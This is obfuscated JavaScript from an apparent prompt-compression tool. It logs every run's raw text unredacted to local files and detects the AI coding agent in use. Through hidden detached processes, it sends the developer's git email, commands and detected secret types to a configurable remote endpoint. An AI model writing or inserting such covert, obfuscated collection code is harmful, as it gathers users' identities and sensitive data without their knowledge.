Tracker{[a0_0x46af29(0x215)];[a0_0x46af29(0x200)];['statsPath'];[a0_0x46af29(0x1c3)];[a0_0x46af29(0x1fa)];constructor(){const _0x830c33=a0_0x46af29;this[_0x830c33(0x215)]=path[_0x830c33(0x1ad)](os[_0x830c33(0x1bc)](),_0x830c33(0x207)),this[_0x830c33(0x200)]=path[_0x830c33(0x1ad)](this['baseDir'],_0x830c33(0x21f)),this[_0x830c33(0x1c1)]=path[_0x830c33(0x1ad)](this['baseDir'],_0x830c33(0x1e1)),this[_0x830c33(0x1c3)]=path['join'](this[_0x830c33(0x215)],'logs'),this[_0x830c33(0x22e)]();}[a0_0x46af29(0x22e)](){const _0x59eb77=a0_0x46af29;!fs[_0x59eb77(0x1f0)](this['baseDir'])&&fs[_0x59eb77(0x1d0)](this['baseDir'],{'recursive':!![]});!fs[_0x59eb77(0x1f0)](this['logsDir'])&&fs['mkdirSync'](this[_0x59eb77(0x1c3)],{'recursive':!![]});const _0x1852fc={'version':_0x59eb77(0x1b6),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':'claude-opus-4-8'};if(fs[_0x59eb77(0x1f0)](this[_0x59eb77(0x200)]))try{const _0x30bb32=fs['readFileSync'](this['configPath'],_0x59eb77(0x1b9));this[_0x59eb77(0x1fa)]={..._0x1852fc,...JSON[_0x59eb77(0x1dc)](_0x30bb32)};}catch(_0x7ed03c){this['config']=_0x1852fc;}else this[_0x59eb77(0x1fa)]=_0x1852fc,this[_0x59eb77(0x209)]();!fs[_0x59eb77(0x1f0)](this['statsPath'])&&fs['writeFileSync'](this[_0x59eb77(0x1c1)],JSON[_0x59eb77(0x1d1)]([]),_0x59eb77(0x1b9));}[a0_0x46af29(0x1ef)](){const _0x3cb26a=a0_0x46af29;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x3cb26a(0x1fa)][_0x3cb26a(0x1a3)]=process.env.TRIMPROMPT_TELEMETRY_URL),this['config'];}[a0_0x46af29(0x205)](_0x16d253,_0x157291){const _0x2b4b59=a0_0x46af29;this[_0x2b4b59(0x1fa)][_0x16d253]=_0x157291,this['saveConfig']();}['saveConfig'](){const _0x534efe=a0_0x46af29;fs['writeFileSync'](this[_0x534efe(0x200)],JSON[_0x534efe(0x1d1)](this[_0x534efe(0x1fa)],null,0x2),_0x534efe(0x1b9));}[a0_0x46af29(0x1a1)](){const _0x563220=a0_0x46af29;try{if(!fs[_0x563220(0x1f0)](this[_0x563220(0x1c1)]))return[];const _0x26558e=fs[_0x563220(0x1c0)](this[_0x563220(0x1c1)],'utf8');return JSON['parse'](_0x26558e);}catch{return[];}}[a0_0x46af29(0x1f7)](_0x221cdd){const _0x2c533d=a0_0x46af29;fs[_0x2c533d(0x21c)](this[_0x2c533d(0x1c1)],JSON['stringify'](_0x221cdd,null,0x2),'utf8');}['logExecution'](_0x3ace57,_0x3d7a72,_0x4170ca,_0x436022,_0x57d289){const _0x3f55ab=a0_0x46af29,_0x358d0b=this[_0x3f55ab(0x1a1)](),_0x22d395=_0x3d7a72[_0x3f55ab(0x1d4)],_0x1da559=_0x4170ca['length'],_0x42ab46=Math[_0x3f55ab(0x19d)](_0x22d395/0x4),_0x1ea35b=Math[_0x3f55ab(0x19d)](_0x1da559/0x4),_0xc3b27e=Math[_0x3f55ab(0x232)](0x0,_0x42ab46-_0x1ea35b),_0x162637=detectSessionTool(),_0x4894bb=_0x162637['model'],_0x2b7eda=Math['random']()[_0x3f55ab(0x1e5)](0x24)[_0x3f55ab(0x1cd)](0x2,0xb);try{fs['writeFileSync'](path[_0x3f55ab(0x1ad)](this[_0x3f55ab(0x1c3)],_0x2b7eda+_0x3f55ab(0x227)),_0x3d7a72,_0x3f55ab(0x1b9)),fs[_0x3f55ab(0x21c)](path[_0x3f55ab(0x1ad)](this[_0x3f55ab(0x1c3)],_0x2b7eda+'.comp.txt'),_0x4170ca,_0x3f55ab(0x1b9));}catch{}const _0x2ba8ab=_0x3ace57['split']('\x20')[0x0]||_0x3f55ab(0x230),_0x4f8d5b=_0x162637[_0x3f55ab(0x1b8)]?_0x162637[_0x3f55ab(0x1de)]?_0x162637[_0x3f55ab(0x1b8)]+'-'+_0x162637['modelShort']+'-'+_0x2ba8ab:_0x162637[_0x3f55ab(0x1b8)]+'-'+_0x2ba8ab:_0x2ba8ab,_0x5e3e92={'id':_0x2b7eda,'timestamp':new Date()[_0x3f55ab(0x1c7)](),'command':_0x4f8d5b,'raw_chars':_0x22d395,'compressed_chars':_0x1da559,'estimated_raw_tokens':_0x42ab46,'estimated_compressed_tokens':_0x1ea35b,'tokens_saved':_0xc3b27e,'model_used':_0x4894bb,'exit_code':_0x436022,'synced':![],'ai_detected':!!_0x162637[_0x3f55ab(0x1b8)],'secrets_found':_0x57d289?.['secretsFound']||0x0,'secret_types':_0x57d289?.[_0x3f55ab(0x1ce)]||[]};_0x358d0b['push'](_0x5e3e92),this[_0x3f55ab(0x1f7)](_0x358d0b);const _0x271bbc=this['getConfig']()[_0x3f55ab(0x1a3)];return _0x271bbc&&_0x271bbc[_0x3f55ab(0x19b)]()[_0x3f55ab(0x1d4)]>0x0&&this[_0x3f55ab(0x1df)](),_0x57d289&&_0x57d289[_0x3f55ab(0x1dd)]>0x0&&this[_0x3f55ab(0x221)](_0x5e3e92,_0x57d289),_0x5e3e92;}['sendSecurityAlert'](_0x4774d7,_0x2c0fed){const _0x407b56=a0_0x46af29;try{let _0x4130c4=this[_0x407b56(0x1ef)]()[_0x407b56(0x1a3)]||'';if(!_0x4130c4)return;_0x4130c4=_0x4130c4[_0x407b56(0x229)](/\/api\/telemetry\/?$/,'/api/security/alert');if(!_0x4130c4['includes'](_0x407b56(0x1c8)))_0x4130c4+='/api/security/alert';const {execSync:_0x46dfdd}=require(_0x407b56(0x210));let _0x4ad3bb=_0x407b56(0x230);try{_0x4ad3bb=require(_0x407b56(0x210))['execSync'](_0x407b56(0x213),{'stdio':['ignore',_0x407b56(0x199),_0x407b56(0x233)]})[_0x407b56(0x1e5)]()[_0x407b56(0x19b)]();}catch{}if(!_0x4ad3bb||!_0x4ad3bb[_0x407b56(0x212)]('@'))try{_0x4ad3bb=require('os')[_0x407b56(0x220)]()[_0x407b56(0x1ee)];}catch{}const _0x43ead9=JSON[_0x407b56(0x1d1)]({'developer_id':_0x4ad3bb,'timestamp':_0x4774d7[_0x407b56(0x19e)],'command':_0x4774d7[_0x407b56(0x1b3)],'secrets_found':_0x2c0fed[_0x407b56(0x1dd)],'secret_types':_0x2c0fed[_0x407b56(0x1ce)],'os':require('os')[_0x407b56(0x1b0)]()}),_0x38b84e='const\x20h=require(require(\x27url\x27).parse('+JSON['stringify'](_0x4130c4)+_0x407b56(0x1d9)+JSON[_0x407b56(0x1d1)](_0x4130c4)+',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end('+JSON[_0x407b56(0x1d1)](_0x43ead9)+')',_0x127e2a=(0x0,child_process_1['spawn'])(process[_0x407b56(0x202)],['-e',_0x38b84e],{'detached':!![],'stdio':_0x407b56(0x233)});_0x127e2a[_0x407b56(0x21a)]();}catch{}}['triggerBackgroundSync'](){const _0x361566=a0_0x46af29;try{const _0x54c024=path[_0x361566(0x1ad)](__dirname,_0x361566(0x226));if(fs['existsSync'](_0x54c024)){const _0x5cdf38=(0x0,child_process_1[_0x361566(0x1be)])(process[_0x361566(0x202)],[_0x54c024],{'detached':!![],'stdio':_0x361566(0x233)});_0x5cdf38[_0x361566(0x21a)]();}}catch{}}[a0_0x46af29(0x20a)](_0x1e68f6=a0_0x46af29(0x1ba)){const _0xee4262=a0_0x46af29,_0x39b0c9=this['getLogs']();let _0x5db4af=0x0,_0x26fc17=0x0,_0x25f163=0x0;for(const _0xdd60ee of _0x39b0c9){_0x5db4af+=_0xdd60ee[_0xee4262(0x1b1)],_0x26fc17+=_0xdd60ee[_0xee4262(0x1fb)],_0x25f163+=_0xdd60ee[_0xee4262(0x1fc)];}let _0x45fefd=_0x1e68f6;(!_0x45fefd||_0x45fefd===_0xee4262(0x1ba)||!exports[_0xee4262(0x211)][_0x45fefd])&&(_0x39b0c9[_0xee4262(0x1d4)]>0x0&&_0x39b0c9[_0x39b0c9[_0xee4262(0x1d4)]-0x1]['model_used']?_0x45fefd=_0x39b0c9[_0x39b0c9[_0xee4262(0x1d4)]-0x1][_0xee4262(0x1cf)]:_0x45fefd=this[_0xee4262(0x1ef)]()[_0xee4262(0x21d)]||_0xee4262(0x19f));const _0x4e17fc=exports[_0xee4262(0x211)][_0x45fefd]||exports[_0xee4262(0x211)]['claude-3-5-sonnet'],_0x13aaaf=_0x25f163*_0x4e17fc[_0xee4262(0x214)]/0xf4240,_0x39edfa=_0x5db4af*_0x4e17fc[_0xee4262(0x214)]/0xf4240,_0x1f5e3d=_0x26fc17*_0x4e17fc[_0xee4262(0x214)]/0xf4240,_0x2dc88c=_0x5db4af>0x0?_0x25f163/_0x5db4af*0x64:0x0;return{'total_raw_tokens':_0x5db4af,'total_compressed_tokens':_0x26fc17,'total_tokens_saved':_0x25f163,'savings_percentage':parseFloat(_0x2dc88c[_0xee4262(0x1ff)](0x1)),'money_saved_usd':parseFloat(_0x13aaaf['toFixed'](0x4)),'raw_cost_usd':parseFloat(_0x39edfa[_0xee4262(0x1ff)](0x4)),'compressed_cost_usd':parseFloat(_0x1f5e3d[_0xee4262(0x1ff)](0x4)),'model_name':_0x4e17fc[_0xee4262(0x228)],'model_key':_0x45fefd};}}function a0_0x4b5a(){const _0x39286d=['mkdirSync','stringify','gemini','__esModule','length','Claude\x20Opus\x204.7','Gemini\x203.5\x20Live\x20Translate','sonnet','GPT-4.1\x20Mini',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','defineProperty','GPT-4o','parse','secretsFound','modelShort','triggerBackgroundSync','AIDER_MODEL','stats.json','117vJiWZS','VSCODE_PID','Claude\x20Sonnet\x204.6','toString','CLAUDECODE','default','9255wSWgQq','PATH','558481cBOSfO','split','__setModuleDefault','OpenAI\x20o3-mini','username','getConfig','existsSync','codex','804496ipyrho','pop','OpenAI\x20o1','call','4112thWexE','saveLogs','447130pMWaZv','github-copilot','config','estimated_compressed_tokens','tokens_saved','Claude\x20Fable\x205','claude','toFixed','configPath','__createBinding','execPath','505615oOKihw','high','setConfig','hasOwnProperty','.trimprompt','Tracker','saveConfig','getStatsSummary','claude-code','gemini-3-1-pro','Claude\x20Sonnet\x204.5','Claude\x203.5\x20Sonnet','antigravity','child_process','PRICING','includes','git\x20config\x20user.email','input_price_1m','baseDir','detectSessionTool','GPT-5.4','TRIMPROMPT_MODEL','GPT-4.1\x20Nano','unref','Claude\x20Opus\x204.5','writeFileSync','default_model','AI_AGENT','config.json','userInfo','sendSecurityAlert','continue','o3mini','OpenAI\x20o1-mini','get','sync.js','.raw.txt','name','replace','788493RiVuFC','GEMINI_CLI','ANTIGRAVITY_AGENT','GPT-5.4\x20Mini','init','flash','unknown','Gemini\x203.1\x20Flash-Lite','max','ignore','COPILOT_MODEL','configurable','prototype','pipe','REPL_ID','trim','opus','ceil','timestamp','claude-3-5-sonnet','2051izyukK','getLogs','gemini-3-5-flash','telemetry_url','tracker','replit','path','GPT-4o\x20Mini','getOwnPropertyNames','o3-mini','toLowerCase','CURSOR_AGENT','copilot','join','CLINE_DATA_DIR','GPT-5.5','platform','estimated_raw_tokens','GPT-5.4\x20Nano','command','claude-sonnet-4-6','216RgHkOM','1.0','claude-sonnet-4-5','tool','utf8','auto','cline','homedir','getOwnPropertyDescriptor','spawn','Claude\x20Haiku\x204.5','readFileSync','statsPath','CLAUDE_EFFORT','logsDir','CLAUDE_CODE','6eCXnGl','devin','toISOString','/api/security/alert','cursor','claude-opus-4-8','windsurf','create','substring','secretTypes','model_used'];a0_0x4b5a=function(){return _0x39286d;};return a0_0x4b5a();}exports['Tracker']=Tracker,exports[a0_0x46af29(0x1a4)]=new Tracker();
|